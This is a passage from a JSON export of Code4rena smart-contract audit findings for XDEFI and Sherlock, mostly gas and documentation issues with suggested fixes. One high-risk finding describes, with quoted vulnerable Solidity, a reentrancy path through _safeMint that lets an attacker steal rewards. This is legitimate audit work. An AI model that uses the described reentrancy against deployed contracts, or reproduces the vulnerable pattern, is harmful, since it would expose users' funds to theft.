function will be called in `lock` and `lockWithPermit`. ## Recommended Mitigation Steps The following change is recommended. ``` function _lockPosition(uint256 amount_, uint256 duration_, address destination_) internal returns (uint256 tokenId_) { // Lock the XDEFI in the contract. SafeERC20.safeTransferFrom(IERC20(XDEFI), msg.sender, address(this), amount_); // Handle the lock position creation and get the tokenId of the locked position. return _lock(amount_, duration_, destination_); } function lock(uint256 amount_, uint256 duration_, address destination_) external noReenter returns (uint256 tokenId_) { return _lockPosition(amount_, duration_, destination_); } function lockWithPermit(uint256 amount_, uint256 duration_, address destination_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_) external noReenter returns (uint256 tokenId_) { // Approve this contract for the amount, using the provided signature. IEIP2612(XDEFI).permit(msg.sender, address(this), amount_, deadline_, v_, r_, s_); return _lockPosition(amount_, duration_, destination_); } ``` "}, {"title": "setLockPeriods function lack of input validation", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/38", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle cccz # Vulnerability details ## Impact In the setLockPeriods function, there is no verification of the multipliers parameter, multipliers[i] may be 0, and the length of multipliers may not be equal to the length of durations_. ``` function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external onlyOwner { uint256 count = durations_.length; for (uint256 i; i < count; ++i) { uint256 duration = durations_[i]; require(duration <= uint256(18250 days), \"INVALID_DURATION\"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); } } ``` ## Proof of Concept https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L77-L85 ## Tools Used Manual analysis ## Recommended Mitigation Steps ``` function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external onlyOwner { + require(durations_.length == multipliers.length); uint256 count = durations_.length; for (uint256 i; i < count; ++i) { uint256 duration = durations_[i]; + require(multipliers[i] != 0); require(duration <= uint256(18250 days), \"INVALID_DURATION\"); emit LockPeriodSet(duration, bonusMultiplierOf[duration] = multipliers[i]); } } ``` "}, {"title": "MAX_TOTAL_XDEFI_SUPPLY should be constant", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle agusduha # Vulnerability details ## Impact MAX_TOTAL_XDEFI_SUPPLY has always the same value and is used only in one place, it should be constant to optimize gas ## Proof of Concept Variable declaration: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L14 Variable utilization: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L255 ## Tools Used Manual analysis ## Recommended Mitigation Steps Add the \"constant\" keyword to the storage variable declaration "}, {"title": "Distribution Updates Can Be Gamed", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-xdefi-findings", "body": "Distribution Updates Can Be Gamed"}, {"title": "Use `calldata` instead of `memory` for external functions where the function argument is read-only.", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Dravee # Vulnerability details ## Impact On external functions, when using the `memory` keyword with a function argument, what's happening is that a `memory` acts as an intermediate. Reading directly from `calldata` using `calldataload` instead of going via `memory` saves the gas from the intermediate memory operations that carry the values. As an extract from [https://ethereum.stackexchange.com/questions/74442/when-should-i-use-calldata-and-when-should-i-use-memory](https://ethereum.stackexchange.com/questions/74442/when-should-i-use-calldata-and-when-should-i-use-memory) : > `memory` and `calldata` (as well as `storage`) are keywords that define the data area where a variable is stored. To answer your question directly, `memory` should be used when declaring variables (both function parameters as well as inside the logic of a function) that you want stored in memory (temporary), and `calldata` _must_ be used when declaring an **external** function's **dynamic** parameters. The easiest way to think about the difference is that `calldata` is a non-modifiable, non-persistent area where function arguments are stored, and behaves mostly like memory. ## Proof of Concept ``` interfaces\\IXDEFIDistribution.sol:55: function baseURI() external view returns (string memory baseURI_); interfaces\\IXDEFIDistribution.sol:74: function setBaseURI(string memory baseURI_) external; interfaces\\IXDEFIDistribution.sol:77: function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external; interfaces\\IXDEFIDistribution.sol:106: function relockBatch(uint256[] memory tokenIds_, uint256 lockAmount_, uint256 duration_, address destination_) external returns (uint256 amountUnlocked_, uint256 newTokenId_); interfaces\\IXDEFIDistribution.sol:109: function unlockBatch(uint256[] memory tokenIds_, address destination_) external returns (uint256 amountUnlocked_); interfaces\\IXDEFIDistribution.sol:119: function merge(uint256[] memory tokenIds_, address destination_) external returns (uint256 tokenId_); interfaces\\IXDEFIDistribution.sol:125: function tokenURI(uint256 tokenId_) external view returns (string memory tokenURI_); XDEFIDistribution.sol:73: function setBaseURI(string memory baseURI_) external onlyOwner { XDEFIDistribution.sol:77: function setLockPeriods(uint256[] memory durations_, uint8[] memory multipliers) external onlyOwner { XDEFIDistribution.sol:165: function relockBatch(uint256[] memory tokenIds_, uint256 lockAmount_, uint256 duration_, address destination_) external noReenter returns (uint256 amountUnlocked_, uint256 newTokenId_) { XDEFIDistribution.sol:186: function unlockBatch(uint256[] memory tokenIds_, address destination_) external noReenter returns (uint256 amountUnlocked_) { XDEFIDistribution.sol:205: function merge(uint256[] memory tokenIds_, address destination_) external returns (uint256 tokenId_) { ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use `calldata` instead of `memory` for external functions where the function argument is read-only. "}, {"title": "\"constants\" expressions are expressions, not constants. Use \"immutable\" instead.", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-xdefi-findings", "body": "\"constants\" expressions are expressions, not constants. Use \"immutable\" instead."}, {"title": "The reentrancy vulnerability in _safeMint can allow an attacker to steal all rewards", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/25", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle cccz # Vulnerability details ## Impact There is a reentrancy vulnerability in the _safeMint function ``` function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), \"ERC721: transfer to non ERC721Receiver implementer\" ); } ... function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; ``` The lock function changes the totalDepositedXDEFI variable after calling the _safeMint function ``` function lock(uint256 amount_, uint256 duration_, address destination_) external noReenter returns (uint256 tokenId_) { // Lock the XDEFI in the contract. SafeERC20.safeTransferFrom(IERC20(XDEFI), msg.sender, address(this), amount_); // Handle the lock position creation and get the tokenId of the locked position. return _lock(amount_, duration_, destination_); } ... function _lock(uint256 amount_, uint256 duration_, address destination_) internal returns (uint256 tokenId_) { // Prevent locking 0 amount in order generate many score-less NFTs, even if it is inefficient, and such NFTs would be ignored. require(amount_ != uint256(0) && amount_ <= MAX_TOTAL_XDEFI_SUPPLY, \"INVALID_AMOUNT\"); // Get bonus multiplier and check that it is not zero (which validates the duration). uint8 bonusMultiplier = bonusMultiplierOf[duration_]; require(bonusMultiplier != uint8(0), \"INVALID_DURATION\"); // Mint a locked staked position NFT to the destination. _safeMint(destination_, tokenId_ = _generateNewTokenId(_getPoints(amount_, duration_))); // Track deposits. totalDepositedXDEFI += amount_; ``` Since the updateDistribution function does not use the noReenter modifier, the attacker can re-enter the updateDistribution function in the _safeMint function. Since the value of totalDepositedXDEFI is not updated at this time, the _pointsPerUnit variable will become abnormally large. ``` function updateDistribution() external { uint256 totalUnitsCached = totalUnits; require(totalUnitsCached> uint256(0), \"NO_UNIT_SUPPLY\"); uint256 newXDEFI = _toUint256Safe(_updateXDEFIBalance()); if (newXDEFI == uint256(0)) return; _pointsPerUnit += ((newXDEFI * _pointsMultiplier) / totalUnitsCached); emit DistributionUpdated(msg.sender, newXDEFI); } ... function _updateXDEFIBalance() internal returns (int256 newFundsTokenBalance_) { uint256 previousDistributableXDEFI = distributableXDEFI; uint256 currentDistributableXDEFI = distributableXDEFI = IERC20(XDEFI).balanceOf(address(this))-totalDepositedXDEFI; return _toInt256Safe(currentDistributableXDEFI)-_toInt256Safe(previousDistributableXDEFI); } ``` If the attacker calls the lock function to get the NFT before exploiting the reentrance vulnerability, then the unlock function can be called to steal a lot of rewards, and the assets deposited by the user using the reentrance vulnerability can also be redeemed by calling the unlock function. Since the unlock function calls the _updateXDEFIBalance function, the attacker cannot steal the assets deposited by the user ``` function unlock(uint256 tokenId_, address destination_) external noReenter returns (uint256 amountUnlocked_) { // Handle the unlock and get the amount of XDEFI eligible to withdraw. amountUnlocked_ = _unlock(msg.sender, tokenId_); // Send the the unlocked XDEFI to the destination. SafeERC20.safeTransfer(IERC20(XDEFI), destination_, amountUnlocked_); // NOTE: This needs to be done after updating `totalDepositedXDEFI` (which happens in `_unlock`) and transferring out. _updateXDEFIBalance(); } ... function _unlock(address account_, uint256 tokenId_) internal returns (uint256 amountUnlocked_) { // Check that the account is the position NFT owner. require(ownerOf(tokenId_) == account_, \"NOT_OWNER\"); // Fetch position. Position storage position = positionOf[tokenId_]; uint96 units = position.units; uint88 depositedXDEFI = position.depositedXDEFI; uint32 expiry = position.expiry; // Check that enough time has elapsed in order to unlock. require(expiry != uint32(0), \"NO_LOCKED_POSITION\"); require(block.timestamp >= uint256(expiry), \"CANNOT_UNLOCK\"); // Get the withdrawable amount of XDEFI for the position. amountUnlocked_ = _withdrawableGiven(units, depositedXDEFI, position.pointsCorrection); // Track deposits. totalDepositedXDEFI -= uint256(depositedXDEFI); // Burn FDT Position. totalUnits -= units; delete positionOf[tokenId_]; emit LockPositionWithdrawn(tokenId_, account_, amountUnlocked_); } ... function _withdrawableGiven(uint96 units_, uint88 depositedXDEFI_, int256 pointsCorrection_) internal view returns (uint256 withdrawableXDEFI_) { return ( _toUint256Safe( _toInt256Safe(_pointsPerUnit * uint256(units_)) + pointsCorrection_ ) / _pointsMultiplier ) + uint256(depositedXDEFI_); } ``` ## Proof of Concept https://github.com/XDeFi-tech/xdefi-distribution/blob/v1.0.0-beta.0/contracts/XDEFIDistribution.sol#L253-L281 ## Tools Used Manual analysis ## Recommended Mitigation Steps ``` - function updateDistribution() external { + function updateDistribution() external noReenter { ``` "}, {"title": "Use Custom Errors to save Gas", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Custom errors from Solidity 0.8.4 are cheaper than revert strings. ## Proof of Concept Source: https://blog.soliditylang.org/2021/04/21/custom-errors/: Starting from [Solidity v0.8.4](https://github.com/ethereum/solidity/releases/tag/v0.8.4), there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. Until now, you could already use strings to give more information about failures (e.g., `revert(\"Insufficient funds.\");`), but they are rather expensive, especially when it comes to deploy cost, and it is difficult to use dynamic information in them. Custom errors are defined using the `error` statement, which can be used inside and outside of contracts (including interfaces and libraries). Instances include: ``` XDEFIDistribution.sol:40: require((XDEFI = XDEFI_) != address(0), \"INVALID_TOKEN\"); XDEFIDistribution.sol:47: require(owner == msg.sender, \"NOT_OWNER\"); XDEFIDistribution.sol:52: require(_locked == 0, \"LOCKED\"); XDEFIDistribution.sol:63: require(pendingOwner == msg.sender, \"NOT_PENDING_OWNER\"); XDEFIDistribution.sol:82: require(duration <= uint256(18250 days), \"INVALID_DURATION\"); XDEFIDistribution.sol:115: require(lockAmount_ <= amountUnlocked_, \"INSUFFICIENT_AMOUNT_UNLOCKED\"); XDEFIDistribution.sol:145: require(totalUnitsCached > uint256(0), \"NO_UNIT_SUPPLY\"); XDEFIDistribution.sol:170: require(lockAmount_ <= amountUnlocked_, \"INSUFFICIENT_AMOUNT_UNLOCKED\"); XDEFIDistribution.sol:207: require(count > uint256(1), \"MIN_2_TO_MERGE\"); XDEFIDistribution.sol:214: require(ownerOf(tokenId) == msg.sender, \"NOT_OWNER\"); XDEFIDistribution.sol:215: require(positionOf[tokenId].expiry == uint32(0), \"POSITION_NOT_UNLOCKED\"); XDEFIDistribution.sol:227: require(_exists(tokenId_), \"NO_TOKEN\"); XDEFIDistribution.sol:232: require(_exists(tokenId_), \"NO_TOKEN\"); XDEFIDistribution.sol:255: require(amount_ != uint256(0) && amount_ <= MAX_TOTAL_XDEFI_SUPPLY, \"INVALID_AMOUNT\"); XDEFIDistribution.sol:259: require(bonusMultiplier != uint8(0), \"INVALID_DURATION\"); XDEFIDistribution.sol:295: require(ownerOf(tokenId_) == account_, \"NOT_OWNER\"); XDEFIDistribution.sol:304: require(expiry != uint32(0), \"NO_LOCKED_POSITION\"); XDEFIDistribution.sol:305: require(block.timestamp >= uint256(expiry), \"CANNOT_UNLOCK\"); XDEFIDistribution.sol:322: require(count > uint256(1), \"USE_UNLOCK\"); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Replace revert strings with custom errors. "}, {"title": "`_safeMint` Will Fail Due To An Edge Case In Calculating `tokenId` Using The `_generateNewTokenId` Function", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact NFTs are used to represent unique positions referenced by the generated `tokenId`. The `tokenId` value contains the position's score in the upper 128 bits and the index wrt. the token supply in the lower 128 bits. When positions are unlocked after expiring, the relevant position stored in the `positionOf` mapping is deleted, however, the NFT is not. The `merge()` function is used to combine points in unlocked NFTs, burning the underlying NFTs upon merging. As a result, `_generateNewTokenId()` may end up using the same `totalSupply()` value, causing `_safeMint()` to fail if the same `amount_` and `duration_` values are used. This edge case only occurs if there is an overlap in the `points_` and `totalSupply() + 1` values used to generate `tokenId`. As a result, this may impact a user's overall experience while interacting with the `XDEFI` protocol, as some transactions may fail unexpectedly. ## Proof of Concept ``` function _lock(uint256 amount_, uint256 duration_, address destination_) internal returns (uint256 tokenId_) { // Prevent locking 0 amount in order generate many score-less NFTs, even if it is inefficient, and such NFTs would be ignored. require(amount_ != uint256(0) && amount_ <= MAX_TOTAL_XDEFI_SUPPLY, \"INVALID_AMOUNT\"); // Get bonus multiplier and check that it is not zero (which validates the duration). uint8 bonusMultiplier = bonusMultiplierOf[duration_]; require(bonusMultiplier != uint8(0), \"INVALID_DURATION\"); // Mint a locked staked position NFT to the destination. _safeMint(destination_, tokenId_ = _generateNewTokenId(_getPoints(amount_, duration_))); // Track deposits. totalDepositedXDEFI += amount_; // Create Position. uint96 units = uint96((amount_ * uint256(bonusMultiplier)) / uint256(100)); totalUnits += units; positionOf[tokenId_] = Position({ units: units, depositedXDEFI: uint88(amount_), expiry: uint32(block.timestamp + duration_), created: uint32(block.timestamp), bonusMultiplier: bonusMultiplier, pointsCorrection: -_toInt256Safe(_pointsPerUnit * units) }); emit LockPositionCreated(tokenId_, destination_, amount_, duration_); } ``` ``` function _generateNewTokenId(uint256 points_) internal view returns (uint256 tokenId_) { // Points is capped at 128 bits (max supply of XDEFI for 10 years locked), total supply of NFTs is capped at 128 bits. return (points_ << uint256(128)) + uint128(totalSupply() + 1); } ``` ``` function merge(uint256[] memory tokenIds_, address destination_) external returns (uint256 tokenId_) { uint256 count = tokenIds_.length; require(count > uint256(1), \"MIN_2_TO_MERGE\"); uint256 points; // For each NFT, check that it belongs to the caller, burn it, and accumulate the points. for (uint256 i; i < count; ++i) { uint256 tokenId = tokenIds_[i]; require(ownerOf(tokenId) == msg.sender, \"NOT_OWNER\"); require(positionOf[tokenId].expiry == uint32(0), \"POSITION_NOT_UNLOCKED\"); _burn(tokenId); points += _getPointsFromTokenId(tokenId); } // Mine a new NFT to the destinations, based on the accumulated points. _safeMint(destination_, tokenId_ = _generateNewTokenId(points)); } ``` ## Tools Used Manual code review. Discussions with Michael. ## Recommended Mitigation Steps Consider replacing `totalSupply()` in `_generateNewTokenId()` with an internal counter. This should ensure that `_generateNewTokenId()` always returns a unique `tokenId` that is monotomically increasing . "}, {"title": "Missing event for admin function setBaseURI", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability description In Contract **XDEFIDistribution** the function **setBaseURI** is missing an event for this admin functionality. ## Impact Users can't monitor admin changes done to the contract to reflect it in their clients. ## Proof of Concept https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L73 ## Tools Used manual code review. ## Recommended Mitigation Steps create event for base URI changes and emit it. "}, {"title": "Assert instead require to validate user inputs", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/14", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Assert instead require to validate user inputs"}, {"title": "Require with not comprehensive message", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Require with not comprehensive message"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "Public functions to external"}, {"title": "Unneccessary check on total supply of XDEFI token", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Extra gas costs of all locking operations. ## Proof of Concept XDEFIDistribution.sol stores the total supply of the XDEFI token: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L14 This is so that the amount being locked can be checked to be less than this on each call https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L255 This is unnecessary as the XDEFI token has no external mint function and so has a fixed supply. It's then impossible for any user to supply more than 240M XDEFI in order to fail this check. https://etherscan.io/address/0x72b886d09c117654ab7da13a14d603001de0b777#code ## Recommended Mitigation Steps Remove the unnecessary check on the total supply. "}, {"title": "Use of return value from assignment hampers readability", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Reduced readability ## Proof of Concept In a number of placed we seem to be inlining an assignment with the usage of that variable: https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L40 https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L70 https://github.com/XDeFi-tech/xdefi-distribution/blob/3856a42df295183b40c6eee89307308f196612fe/contracts/XDEFIDistribution.sol#L83 This is quite atypical in my experience and reduces readability: lines which contain require statements and event emission now modify contract storage. ## Recommended Mitigation Steps Consider whether any small benefits to gas/compactness are worth the reduced clarity. "}, {"title": "Usage of zero storage for reentrancy guard increases chance that gas refund is capped", "html_url": "https://github.com/code-423n4/2022-01-xdefi-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-xdefi-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Reduction of potential gas refunds. ## Proof of Concept The reentrancy guard variable is initially set to zero, set to a nonzero value and then reset to zero: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/security/ReentrancyGuard.sol#L29-L35 We then have to the higher cost for writing to clean storage rather than dirty storage (which is then refunded). This is not recommended as it can cause the size of the gas refunded to users to be capped. For more info see the OZ implementation: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/security/ReentrancyGuard.sol#L29-L35 ## Recommended Mitigation Steps Change from 0->1->0 to 1->2->1 "}, {"title": "missing whenNotPaused", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/280", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-sherlock-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/LensHub.sol#L929 # Vulnerability details All the external function of LensHub have whenNotPasued modifier. However, LensHub is erc721 and the transfer function doesn't have the whenNotPaused modifier. ## Impact In case where the governance wants to stop all activity, they still can't stop transferring profiles nfts. an example where stopping transferring tokens was actually very helpful: [https://mobile.twitter.com/flashfish0x/status/1466369783016869892](https://mobile.twitter.com/flashfish0x/status/1466369783016869892) ## Recommended Mitigation Steps add whenNotPasued to `_beforeTokenTransfer` "}, {"title": "debt = balance", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "debt = balance"}, {"title": "Re-entrancy protection", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/274", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Re-entrancy protection"}, {"title": "Pausable paused() is not enforced to be present", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/273", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-sherlock-findings", "body": "Pausable paused() is not enforced to be present"}, {"title": "Claim SHER on behalf of others", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/271", "labels": ["bug", "help wanted", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Claim SHER on behalf of others"}, {"title": "Slippage parameter for SherBuy", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/270", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Slippage parameter for SherBuy"}, {"title": "safeApprove will fail if the current approval is not 0", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/269", "labels": ["bug", "1 (Low Risk)"], "target": "2022-01-sherlock-findings", "body": "safeApprove will fail if the current approval is not 0"}, {"title": "Withrawals will fail if the market has high utilization", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/267", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Withrawals will fail if the market has high utilization"}, {"title": "cheaper to calculate stakeShares first then do the transfer", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/256", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "cheaper to calculate stakeShares first then do the transfer"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/253", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Cheaper to use calldata than memory", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/249", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Cheaper to use calldata than memory"}, {"title": "Unnecessary typcasting", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/245", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-sherlock-findings", "body": "Unnecessary typcasting"}, {"title": "Name collision in `SherlockProtocolManager`", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/239", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Name collision in `SherlockProtocolManager`"}, {"title": "Gas Optimization: Struct layout", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas Optimization: Struct layout"}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Cache array length in for loops can save gas"}, {"title": "SherlockClaimManager: Incorrect amounts needed and paid for escalated claims ", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/230", "labels": ["bug", "documentation", "2 (Med Risk)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "SherlockClaimManager: Incorrect amounts needed and paid for escalated claims "}, {"title": "ISherlockClaimManager: Outdated example on claims process", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/229", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "ISherlockClaimManager: Outdated example on claims process"}, {"title": "SherlockClaimManager: Confusing comment on BOND", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/228", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "SherlockClaimManager: Confusing comment on BOND"}, {"title": "SherlockClaimManager: startClaim() has outdated comment", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/226", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "SherlockClaimManager: startClaim() has outdated comment"}, {"title": "Sherlock: Revert for non-existent ID in viewRewardForArbRestake", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/225", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-sherlock-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact Other relevant view functions like `lockupEnd()`, `sherRewards()` and `tokenBalanceOf()` revert for non-existent IDs, but `viewRewardForArbRestake()` doesn\u2019t. ## Recommended Mitigation Steps Include the existence check in `viewRewardForArbRestake()`. `if (!_exists(_tokenID)) revert NonExistent();` "}, {"title": "SherBuy: SHER and USDC token addresses should be derived from _sherlockPosition", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/222", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-sherlock-findings", "body": "SherBuy: SHER and USDC token addresses should be derived from _sherlockPosition"}, {"title": "SherlockClaimManager: Clarify why sherlockCore is used as proposer in UMA.requestAndProposePriceFor()", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/220", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "SherlockClaimManager: Clarify why sherlockCore is used as proposer in UMA.requestAndProposePriceFor()"}, {"title": "Grammar", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/219", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Grammar"}, {"title": "Inconsistent Acronym of UmaHaltOperator", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/218", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Inconsistent Acronym of UmaHaltOperator"}, {"title": "SherlockClaimManager: reentrancy comment for priceProposed() and priceDisputed() can be phrased better", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/217", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "SherlockClaimManager: reentrancy comment for priceProposed() and priceDisputed() can be phrased better"}, {"title": "Spelling Errors", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/216", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Spelling Errors"}, {"title": "SherDistributionManager: Cheaper to assign than add _tvl", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/215", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "SherDistributionManager: Cheaper to assign than add _tvl"}, {"title": "Manager: Check non-zero ETH balance before sending", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Manager: Check non-zero ETH balance before sending"}, {"title": "Updating Manager contract could destruct Sherlock core functionalities ", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/201", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Updating Manager contract could destruct Sherlock core functionalities "}, {"title": "Saving gas by used length", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/200", "labels": ["bug", "duplicate", "G 